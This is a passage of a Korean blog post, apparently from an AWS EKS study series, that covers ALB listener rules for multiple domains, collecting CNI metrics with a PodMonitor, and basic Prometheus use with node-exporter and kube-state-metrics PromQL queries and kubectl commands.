&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;AWS ELB(ALB)의 개수를 확인해보면 myeks-ingress-alb 1개인데 어떻게 여러 개의 도메인을 처리할 수 있는걸까요? 이는 리스너 규칙과 대상 그룹의 설정에 따라 이루어지는데, 규칙 1개에 대상 그룹 1개가 맵핑되어 있는 모습을 확인할 수 있습니다. 대상은 각 파드의 IP입니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2758&quot; data-origin-height=&quot;806&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdFbg7/btsF3fJS0Qb/1bkeaMXpqXfivK96YgVDkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdFbg7/btsF3fJS0Qb/1bkeaMXpqXfivK96YgVDkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdFbg7/btsF3fJS0Qb/1bkeaMXpqXfivK96YgVDkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdFbg7%2FbtsF3fJS0Qb%2F1bkeaMXpqXfivK96YgVDkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2758&quot; height=&quot;806&quot; data-origin-width=&quot;2758&quot; data-origin-height=&quot;806&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;리스너 규칙에서 AND 조건을 통해 조건에 해당하는 도메인 입력 시 해당 대상 그룹으로 전달되게 되며 대상 그룹은 해당 대상을 찾습니다. 따라서 하나의 인그레스로도 여러 도메인 접근이 가능한 것입니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2123&quot; data-origin-height=&quot;549&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKy3bZ/btsF57KOdXz/3wxU0yvkMyZbx3bbZHq9gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKy3bZ/btsF57KOdXz/3wxU0yvkMyZbx3bbZHq9gk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKy3bZ/btsF57KOdXz/3wxU0yvkMyZbx3bbZHq9gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKy3bZ%2FbtsF57KOdXz%2F3wxU0yvkMyZbx3bbZHq9gk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2123&quot; height=&quot;549&quot; data-origin-width=&quot;2123&quot; data-origin-height=&quot;549&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;AWS CNI Metrics 수집을 위한 사전 설정&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt; Grafana에서 CNI 메트릭을 수집하기 위해 PodMonitor를 미리 배포해 둡니다. 해당 PodMonitor는 &lt;b&gt;k8s-app: aws-node&lt;/b&gt; 레이블을 가진 파드들의 메트릭을 /metrics 경로에 수집합니다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# PodMonitor 배포
cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: monitoring.coreos.com/v1
kind: PodMonitor
metadata:
&amp;nbsp;&amp;nbsp;name: aws-cni-metrics
&amp;nbsp;&amp;nbsp;namespace: kube-system
spec:
&amp;nbsp;&amp;nbsp;jobLabel: k8s-app
&amp;nbsp;&amp;nbsp;namespaceSelector:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;matchNames:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- kube-system
&amp;nbsp;&amp;nbsp;podMetricsEndpoints:
&amp;nbsp;&amp;nbsp;- interval: 30s
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;path: /metrics
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;port: metrics
&amp;nbsp;&amp;nbsp;selector:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;matchLabels:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;k8s-app: aws-node
EOF

# PodMonitor 확인
kubectl get podmonitor -n kube-system
kubectl get podmonitor -n kube-system aws-cni-metrics -o yaml | kubectl neat | yh

# metrics url 접속 확인
curl -s $N1:61678/metrics | grep '^awscni'&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;프로메테우스 기본 사용&lt;/h4&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;모니터링 대상이 되는 서비스는 일반적으로 자체 웹 서버의 /metrics 엔드포인트 경로에 다양한 메트릭 정보를 노출&lt;/li&gt;&lt;li&gt;이후 프로메테우스는 해당 경로에 http get 방식으로 메트릭 정보를 가져와 TSDB 형식으로 저장&lt;/li&gt;&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 프로메테우스가 각 서비스의 9100 접속하여 메트릭 정보를 수집
kubectl get node -owide
kubectl get svc,ep -n monitoring kube-prometheus-stack-prometheus-node-exporter

# 노드의 9100번의 /metrics 접속 시 다양한 메트릭 정보를 확인할수 있음 : 마스터 이외에 워커노드도 확인 가능
ssh ec2-user@$N1 curl -s localhost:9100/metrics&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1063&quot; data-origin-height=&quot;121&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTOEDU/btsF4TflMK4/mk0Vjq1BF0WjFusLM8nqrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTOEDU/btsF4TflMK4/mk0Vjq1BF0WjFusLM8nqrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTOEDU/btsF4TflMK4/mk0Vjq1BF0WjFusLM8nqrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTOEDU%2FbtsF4TflMK4%2Fmk0Vjq1BF0WjFusLM8nqrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1063&quot; height=&quot;121&quot; data-origin-width=&quot;1063&quot; data-origin-height=&quot;121&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# ingress 확인
kubectl get ingress -n monitoring kube-prometheus-stack-prometheus
kubectl describe ingress -n monitoring kube-prometheus-stack-prometheus

# 프로메테우스 ingress 도메인으로 웹 접속
echo -e &quot;Prometheus Web URL = https://prometheus.$MyDomain&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;&lt;b&gt;경고(Alert)&lt;/b&gt; : 사전에 정의한 시스템 경고 정책(Prometheus Rules)에 대한 상황&lt;/li&gt; 
 &lt;li&gt;&lt;b&gt;그래프(Graph)&lt;/b&gt; : 프로메테우스 자체 검색 언어 PromQL을 이용하여 메트릭 정보를 조회 -&amp;gt; 단순한 그래프 형태 조회&lt;/li&gt; 
 &lt;li&gt;&lt;b&gt;상태(Status)&lt;/b&gt; : 경고 메시지 정책(Rules), 모니터링 대상(Targets) 등 다양한 프로메테우스 설정 내역을 확인 &amp;gt; 버전(2.42.0)&lt;/li&gt; 
 &lt;li&gt;&lt;b&gt;도움말(Help)&lt;/b&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;b&gt;쿼리 입력 옵션&lt;/b&gt; 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;Use local time : 출력 시간을 로컬 타임으로 변경&lt;/li&gt; 
   &lt;li&gt;Enable query history : PromQL 쿼리 히스토리 활성화&lt;/li&gt; 
   &lt;li&gt;Enable autocomplete : 자동 완성 기능 활성화&lt;/li&gt; 
   &lt;li&gt;Enable highlighting : 하이라이팅 기능 활성화&lt;/li&gt; 
   &lt;li&gt;Enable linter : 린터(소스 코드를 분석하여 프로그램 오류, 버그, 스타일 오류, 의심스러운 구조체에 flag를 달아놓기 위한 도구) 기능 활성화&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1213&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SmJY5/btsF2xEti0z/bbRdvdEUyxHZFc4eQrC1Nk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SmJY5/btsF2xEti0z/bbRdvdEUyxHZFc4eQrC1Nk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SmJY5/btsF2xEti0z/bbRdvdEUyxHZFc4eQrC1Nk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSmJY5%2FbtsF2xEti0z%2FbbRdvdEUyxHZFc4eQrC1Nk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1213&quot; height=&quot;431&quot; data-origin-width=&quot;1213&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;메트릭을 Graph로 조회 : Graph - 아래 PromQL 쿼리(전체 클러스터 노드의 CPU 사용량 합계)입력 후 조회&lt;/li&gt;&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;1- avg(rate(node_cpu_seconds_total{mode=&quot;idle&quot;}[1m]))&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2460&quot; data-origin-height=&quot;931&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sUuGR/btsF5EPI1Zp/1s7n3RqdMiK7fbGO2hZO21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sUuGR/btsF5EPI1Zp/1s7n3RqdMiK7fbGO2hZO21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sUuGR/btsF5EPI1Zp/1s7n3RqdMiK7fbGO2hZO21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsUuGR%2FbtsF5EPI1Zp%2F1s7n3RqdMiK7fbGO2hZO21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2460&quot; height=&quot;931&quot; data-origin-width=&quot;2460&quot; data-origin-height=&quot;931&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;프로메테우스 설정(Configuration) 확인 : Status → Runtime &amp;amp; Build Information 클릭 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;&lt;b&gt;Storage retention&lt;/b&gt; : 5d or 10GiB → 메트릭 저장 기간이 5일 경과 혹은 10GiB 이상 시 오래된 것부터 삭제&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1421&quot; data-origin-height=&quot;504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pW0GU/btsF3CSyHJ8/3wKc83i8MGKuLxnKhAcyeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pW0GU/btsF3CSyHJ8/3wKc83i8MGKuLxnKhAcyeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pW0GU/btsF3CSyHJ8/3wKc83i8MGKuLxnKhAcyeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpW0GU%2FbtsF3CSyHJ8%2F3wKc83i8MGKuLxnKhAcyeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1421&quot; height=&quot;504&quot; data-origin-width=&quot;1421&quot; data-origin-height=&quot;504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
 &lt;li&gt;프로메테우스 설정(Configuration) 확인 : Status → Configuration ⇒ “node-exporter” 검색 
  &lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt; 
   &lt;li&gt;&lt;b&gt;job name&lt;/b&gt; 을 기준으로 scraping&lt;/li&gt; 
  &lt;/ul&gt; &lt;/li&gt; 
&lt;/ul&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;global:
&amp;nbsp;&amp;nbsp;scrape_interval: 15s&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # 메트릭 가져오는(scrape) 주기
&amp;nbsp;&amp;nbsp;scrape_timeout: 10s&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 메트릭 가져오는(scrape) 타임아웃
&amp;nbsp;&amp;nbsp;evaluation_interval: 15s # alert 보낼지 말지 판단하는 주기
...
- job_name: serviceMonitor/monitoring/kube-prometheus-stack-prometheus-node-exporter/0
&amp;nbsp;&amp;nbsp;scrape_interval: 30s
&amp;nbsp;&amp;nbsp;scrape_timeout: 10s
&amp;nbsp;&amp;nbsp;metrics_path: /metrics
&amp;nbsp;&amp;nbsp;scheme: http
...
kubernetes_sd_configs:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 서비스 디스커버리(SD) 방식을 이용하고, 파드의 엔드포인트 List 자동 반영
&amp;nbsp;&amp;nbsp;- role: endpoints
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;kubeconfig_file: &quot;&quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;follow_redirects: true
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;enable_http2: true
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;namespaces:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;own_namespace: false
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;names:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- monitoring&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 서비스 엔드포인트가 속한 네임 스페이스 이름을 지정, 서비스 네임스페이스가 속한 포트 번호를 구분하여 메트릭 정보를 가져옴&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;프로메테우스 쿼리(PromQL)&lt;/h4&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;node-exporter&lt;/h4&gt;&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Node Exporter는 개별 호스트의 CPU 사용량, 메모리 소비량, 디스크 I/O, 네트워크 통계 등 다양한 메트릭을 노출합니다. 이러한 메트릭은 프로메테우스에 의해 수집되어 모니터링, 경고 및 분석에 사용됩니다. Node Exporter는 호스트에서 실행되는 데몬으로 작동합니다. 시스템 수준의 메트릭을 수집하고 이를 프로메테우스 형식으로 HTTP를 통해 노출합니다. 그런 다음 프로메테우스가 이러한 엔드포인트를 스크랩하여 메트릭을 수집하여 저장하고 분석합니다.&amp;nbsp;&lt;br&gt;&lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;487&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xdNyn/btsF6fvBrS9/pfl1jWcrBcjnqvc3nndP80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xdNyn/btsF6fvBrS9/pfl1jWcrBcjnqvc3nndP80/img.png&quot; data-alt=&quot;출처 :https://www.opsramp.com/guides/prometheus-monitoring/prometheus-node-exporter/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xdNyn/btsF6fvBrS9/pfl1jWcrBcjnqvc3nndP80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxdNyn%2FbtsF6fvBrS9%2Fpfl1jWcrBcjnqvc3nndP80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;487&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://www.opsramp.com/guides/prometheus-monitoring/prometheus-node-exporter/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;Prometheus-Stack 배포 시 Helm 파라미터에 &lt;a href=&quot;https://github.com/prometheus/node_exporter&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;node-exporter&lt;/span&gt;&lt;/a&gt;에 관한 내용이 있어 이미 파드로 배포되어 있는 상태입니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;985&quot; data-origin-height=&quot;61&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yKNBZ/btsF5CEPGcz/NWqnhPv3KbrHmyBfDYZnw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yKNBZ/btsF5CEPGcz/NWqnhPv3KbrHmyBfDYZnw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yKNBZ/btsF5CEPGcz/NWqnhPv3KbrHmyBfDYZnw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyKNBZ%2FbtsF5CEPGcz%2FNWqnhPv3KbrHmyBfDYZnw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;985&quot; height=&quot;61&quot; data-origin-width=&quot;985&quot; data-origin-height=&quot;61&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Table 아래 쿼리 입력 후 Execute 클릭 -&amp;gt; Graph 확인
## 출력되는 메트릭 정보는 node-exporter 를 통해서 노드에서 수집된 정보
node_memory_Active_bytes

# 특정 노드(인스턴스) 필터링 : 아래 IP는 출력되는 자신의 인스턴스 PrivateIP 입력 후 Execute 클릭 -&amp;gt; Graph 확인
node_memory_Active_bytes{instance=&quot;192.168.1.105:9100&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1933&quot; data-origin-height=&quot;385&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byvF09/btsF57q1cXm/tFyL5weCdOijVaQNfsvnV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byvF09/btsF57q1cXm/tFyL5weCdOijVaQNfsvnV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byvF09/btsF57q1cXm/tFyL5weCdOijVaQNfsvnV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyvF09%2FbtsF57q1cXm%2FtFyL5weCdOijVaQNfsvnV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1933&quot; height=&quot;385&quot; data-origin-width=&quot;1933&quot; data-origin-height=&quot;385&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1931&quot; data-origin-height=&quot;924&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/do1k1J/btsF5HsztEb/W5CAAx3cdOjRQ0OE2N6361/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/do1k1J/btsF5HsztEb/W5CAAx3cdOjRQ0OE2N6361/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/do1k1J/btsF5HsztEb/W5CAAx3cdOjRQ0OE2N6361/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdo1k1J%2FbtsF5HsztEb%2FW5CAAx3cdOjRQ0OE2N6361%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1931&quot; height=&quot;924&quot; data-origin-width=&quot;1931&quot; data-origin-height=&quot;924&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;kube-state-metrics&lt;/h4&gt;&lt;blockquote data-ke-style=&quot;style2&quot;&gt;kube-state-metrics는 Kubernetes API 서버를 모니터링하고 Kubernetes 오브젝트의 현재 상태에 대한 정보를 메트릭 형태로 수집합니다. 이러한 메트릭은 Prometheus의 스크랩 엔드포인트로 노출되어 Prometheus 서버가 이를 수집하고 저장합니다. 그런 다음 PromQL 쿼리를 사용하여 이러한 메트릭을 조회하고 시각화할 수 있습니다. kube-state-metrics를 사용하면 Kubernetes 클러스터의 상태 정보에 대한 풍부한 메트릭을 Prometheus에 제공하여 Kubernetes 환경을 모니터링하고 문제를 해결하는 데 도움이 됩니다.&lt;br&gt;&lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nLpdU/btsF5R2R28a/ZH9HcuCBPnOVcHe8aF22K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nLpdU/btsF5R2R28a/ZH9HcuCBPnOVcHe8aF22K0/img.png&quot; data-alt=&quot;출처 :https://medium.com/@seifeddinerajhi/monitoring-kubernetes-clusters-with-kube-state-metrics-2b9e73a67895&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nLpdU/btsF5R2R28a/ZH9HcuCBPnOVcHe8aF22K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnLpdU%2FbtsF5R2R28a%2FZH9HcuCBPnOVcHe8aF22K0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;277&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://medium.com/@seifeddinerajhi/monitoring-kubernetes-clusters-with-kube-state-metrics-2b9e73a67895&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Prometheus-Stack 배포 시 Helm 파라미터에&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://github.com/kubernetes/kube-state-metrics&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;kube-state-metrics&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;에 관한 내용이 있어 이미 파드로 배포되어 있는 상태입니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;20&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DQcMr/btsF3DqV4YN/aszkTb8VnoIP3uUoisKK40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DQcMr/btsF3DqV4YN/aszkTb8VnoIP3uUoisKK40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DQcMr/btsF3DqV4YN/aszkTb8VnoIP3uUoisKK40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDQcMr%2FbtsF3DqV4YN%2FaszkTb8VnoIP3uUoisKK40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;975&quot; height=&quot;20&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;20&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# replicas's number
kube_deployment_status_replicas
kube_deployment_status_replicas_available
kube_deployment_status_replicas_available{deployment=&quot;coredns&quot;}

# scale out
kubectl scale deployment -n kube-system coredns --replicas 3

# 확인
